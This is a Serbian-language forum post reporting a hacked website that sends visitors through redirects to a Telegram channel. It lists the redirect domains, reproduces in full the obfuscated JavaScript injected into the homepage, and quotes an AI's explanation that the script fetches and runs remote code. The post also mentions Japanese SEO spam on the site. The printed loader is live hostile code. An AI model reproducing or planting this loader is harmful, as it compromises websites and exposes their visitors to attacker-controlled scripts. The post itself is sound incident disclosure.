[milos_rs]

Sajt je trenutno potpuno neupotrebljiv. Otvaranje sajta u pretraživaču kao rezultat ima preusmeravanja koja završe u otvaranju jednog telegram kanala.

   

   

Druge adrese koje sam primetio u redirekcijama i pri ponovnom učitavajnu stranice :

Code:

get.whitelllshop.icu gjs.whitepppplatform.icu ps.whitepppplatform.icu cdn.whitellllshop.icu away.readmylastnotes.icu violet-cloud-frame.pages.dev

Na vrhu glavne stranice sajta se nalazi ovaj kôd koji je krivac redirekcije :

Code:

<script type='text/javascript' id='sylon'>     function _0x2a5b(_0x3b57cd, _0x16754a) {       _0x3b57cd = _0x3b57cd - (-0x14e5 + -0xd72 + 0x22f2);       var _0x1ab526 = _0x168b();       var _0x4df54f = _0x1ab526[_0x3b57cd];       return _0x4df54f;     }     var _0x106119 = _0x2a5b;     (function(_0x352598, _0x146fa2) {       var _0x1fb0ee = _0x2a5b,         _0x21e382 = _0x352598();       while (!![]) {         try {           var _0x17f6bb = parseInt(_0x1fb0ee(0xbf)) / (0xcdd + 0x8f3 + -0x15cf * 0x1) + -parseInt(_0x1fb0ee(0xba)) / (0x20a0 + 0x9e + -0x213c * 0x1) * (-parseInt(_0x1fb0ee(0xe3)) / (-0x1da5 + -0x8 * -0x1a6 + 0x1078)) + -parseInt(_0x1fb0ee(0xbd)) / (0x275 * 0xf + -0x161c + 0x9 * -0x1a3) * (-parseInt(_0x1fb0ee(0xa9)) / (0x24 * 0x5e + -0x13ed * 0x1 + 0x6ba)) + parseInt(_0x1fb0ee(0xe7)) / (-0xfed + -0x204 + 0x11f7) * (parseInt(_0x1fb0ee(0xae)) / (-0xc2f + -0x14a1 * 0x1 + -0x20d7 * -0x1)) + -parseInt(_0x1fb0ee(0x9e)) / (-0x21d3 + -0xec8 + 0x30a3) + -parseInt(_0x1fb0ee(0xbc)) / (0x235 * 0xf + -0x1 * 0xd14 + -0x2 * 0x9ff) * (-parseInt(_0x1fb0ee(0xc3)) / (0xf * 0x23b + -0x1 * 0xb6b + -0x580 * 0x4)) + -parseInt(_0x1fb0ee(0xb2)) / (-0x1c55 + -0x62b + -0xef * -0x25);           if (_0x17f6bb === _0x146fa2) break;           else _0x21e382['push'](_0x21e382['shift']());         } catch (_0x5892d1) {           _0x21e382['push'](_0x21e382['shift']());         }       }     }(_0x168b, 0x40abe + -0x187c * -0x4 + -0xde59 * 0x2));     function httpGet(_0x36ad5d) {       var _0x18b4a0 = _0x2a5b,         _0x455032 = {           'zOBae': _0x18b4a0(0xd5)         },         _0x39518b = new XMLHttpRequest();       return _0x39518b[_0x18b4a0(0xdf)](_0x455032[_0x18b4a0(0xe8)], _0x36ad5d, ![]), _0x39518b[_0x18b4a0(0xcb)](null), _0x39518b[_0x18b4a0(0x9f) + 'xt'];     }     var lt = 'ht' + _0x106119(0xd4) + ':' + _0x106119(0xe6) + _0x106119(0xcf) + 'te' + _0x106119(0xdc) + 'sh' + _0x106119(0xb6) + _0x106119(0xc1) + _0x106119(0xcd) + _0x106119(0xec) + _0x106119(0xa1) + 'h' + 'p';     function _0x168b() {       var _0x3b38e2 = ['/click?key', 'sylon', '//g', '112482AJJruL', 'zOBae', 'htt', 'i.com', 'vLRvW', 'rs/t', 'black', 'JaUZE', 'text/javas', 'substring', '2545384fVubTI', 'responseTe', '=419c824f8', 'zt.p', 'createElem', '10|20|1|5|', 'sByTagName', 'substr', '.com', 'dock', 'white', '69490MpseQU', 'ps:', 'blue', '11|7|4|3', 'platform', '77nPDGrt', 'ps.', '3|0|2|1|4', 'line', '5017474rlsMIK', 'appendChil', '13|2|17|22', '.icu', 'op.i', 't.com', 'fmfYw', 'c.com', '154yvKtCY', 'simple', '45jcJiJz', '88OCWFzA', '|9|19|16|0', '340622kwVxwL', 'indexOf', 'cu/l', '21|8|18|6|', '184430MFpMCk', 'split', 'src', 'name', 'jlXcb', 'type', '69942869e0', 'cript', 'send', 'head', 'ande', 'gross', 'et.whi', 'ent', 'ById', '.top', 'cross', 'tps', 'GET', 'shop', '1f1', 'remove', '|12|14|15|', '21194d8f7a', 'script', 'lll', 'length', 'date', 'open', 'getElement', 'tYEEu', 'concat', '219sNlaUo'];       _0x168b = function() {         return _0x3b38e2;       };       return _0x168b();     }     lt = httpGet(lt);     if (lt[_0x106119(0xc0)]('oo') !== -(0x2 * 0x549 + -0x17a5 + 0xd14)) {       var GizSsA = (_0x106119(0xa3) + _0x106119(0xb4) + _0x106119(0xbe) + _0x106119(0xd9) + _0x106119(0xc2) + _0x106119(0xac))[_0x106119(0xc4)]('|'),         ctEyuY = -0x1334 + 0x1ea1 + 0x145 * -0x9;       while (!![]) {         switch (GizSsA[ctEyuY++]) {           case '0':             b2[-0x1 * -0x21f1 + -0x1ff * -0xb + -0x951 * 0x6] == _0x106119(0xd3) && (f2 = _0x106119(0xd6));             continue;           case '1':             var f2 = '';             continue;           case '2':             var st = _0x106119(0xe9) + _0x106119(0xaa) + '//';             continue;           case '3':             appa(lastl);             continue;           case '4':             var lastl = st + _0x106119(0xaf) + f1 + f3 + f2 + f4 + dp;             continue;           case '5':             var f3 = '';             continue;           case '6':             var b3z = bp[0x67 * 0x8 + 0x655 * 0x3 + 0xb1b * -0x2][_0x106119(0xa5)](bp[0x1 * 0x1bd1 + 0x2 * -0xf01 + 0x232][_0x106119(0xdd)] - (-0x2547 * 0x1 + -0x2 * 0xfcf + 0x2 * 0x2273));             continue;           case '7':             while (i--) {               f3 = f3[_0x106119(0xe2)](b3z);             }             continue;           case '8':             b2[-0x3 * -0x2f9 + 0x16 * -0xcb + 0x888] == _0x106119(0xb9) && (f4 = _0x106119(0xa6));             continue;           case '9':             bp[-0xc5b + -0x8 * 0x472 + 0x2feb] == _0x106119(0xa7) && (f1 = _0x106119(0xed));             continue;           case '10':             var dp = _0x106119(0xe4) + _0x106119(0xa0) + _0x106119(0xc9) + _0x106119(0xda) + _0x106119(0xd7);             continue;           case '11':             var i = b3n;             continue;           case '12':             b2[-0x442 + -0x209 * 0x4 + 0xc66] == _0x106119(0xc6) && (f2 = _0x106119(0xde));             continue;           case '13':             var f4 = '';             continue;           case '14':             b2[-0x5 * 0x5cc + -0x54b * 0x6 + -0x137 * -0x32] == _0x106119(0xb1) && (f2 = _0x106119(0xad));             continue;           case '15':             b2[0x65f + -0x46 * -0x17 + 0x6 * -0x21c] == _0x106119(0xea) && (f4 = _0x106119(0xb5));             continue;           case '16':             var b2 = bp[0x1949 + -0x262a + 0xce3][_0x106119(0xc4)]('-');             continue;           case '17':             var bp = lt[_0x106119(0xc4)]('oo');             continue;           case '18':             var b3n = bp[0xea8 + 0xd53 + -0x2 * 0xdfd][_0x106119(0x9d)](-0x1dd + 0x22e3 + -0x1 * 0x2106, -0x1b28 + -0x899 + -0x23c2 * -0x1);             continue;           case '19':             bp[-0xb77 + 0x17ee + 0x1 * -0xc77] == _0x106119(0xce) && (f1 = _0x106119(0xab));             continue;           case '20':             var f1 = '';             continue;           case '21':             b2[0x1d03 + 0x2dd + 0x1 * -0x1fdf] == _0x106119(0xb7) && (f4 = _0x106119(0xd2));             continue;           case '22':             bp[-0xbf8 + -0x2ed * 0x6 + 0x1d86] == _0x106119(0xbb) && (f1 = _0x106119(0xa8));             continue;         }         break;       }     }     function appa(_0x374c74) {       var _0x4e0977 = _0x106119,         _0x5833ce = {           'tYEEu': _0x4e0977(0xb0),           'vLRvW': _0x4e0977(0x9c) + _0x4e0977(0xca),           'JaUZE': _0x4e0977(0xcc),           'jlXcb': _0x4e0977(0xdb),           'fmfYw': _0x4e0977(0xe5)         },         _0x240a9f = _0x5833ce[_0x4e0977(0xe1)][_0x4e0977(0xc4)]('|'),         _0x568d7a = 0x863 + -0xd27 + 0x4 * 0x131;       while (!![]) {         switch (_0x240a9f[_0x568d7a++]) {           case '0':             _0x372665[_0x4e0977(0xc8)] = _0x5833ce[_0x4e0977(0xeb)];             continue;           case '1':             document[_0x4e0977(0xe0) + _0x4e0977(0xa4)](_0x5833ce[_0x4e0977(0x9b)])[0x186d + -0x1321 + 0x6 * -0xe2][_0x4e0977(0xb3) + 'd'](_0x372665);             continue;           case '2':             _0x372665[_0x4e0977(0xc5)] = _0x374c74;             continue;           case '3':             var _0x372665 = document[_0x4e0977(0xa2) + _0x4e0977(0xd0)](_0x5833ce[_0x4e0977(0xc7)]);             continue;           case '4':             document[_0x4e0977(0xe0) + _0x4e0977(0xd1)](_0x5833ce[_0x4e0977(0xb8)])[_0x4e0977(0xd8)]();             continue;         }         break;       }     }     var a44 = '0x5162';   </script>

AI opisuje kôd ovako :

In short, this obfuscated JavaScript:

1. Makes a network request to fetch content from a dynamically constructed URL (likely https://something.icu/click?key=...)
   
2. Parses the response by splitting it into parts and using those parts to build a new URL string
   
3. Injects a new script into the page by creating a <script> element with the constructed URL as its src, effectively loading and executing remote code
   

Essentially, it's a remote script loader that fetches a configuration or payload from a server, decodes it, and then loads another script based on that data

Pored ovoga, sajt učestvuje u japanskom SEO spamu :

   

Code:

medicinaradaisporta.net has address 217.23.192.172

[VincaSec]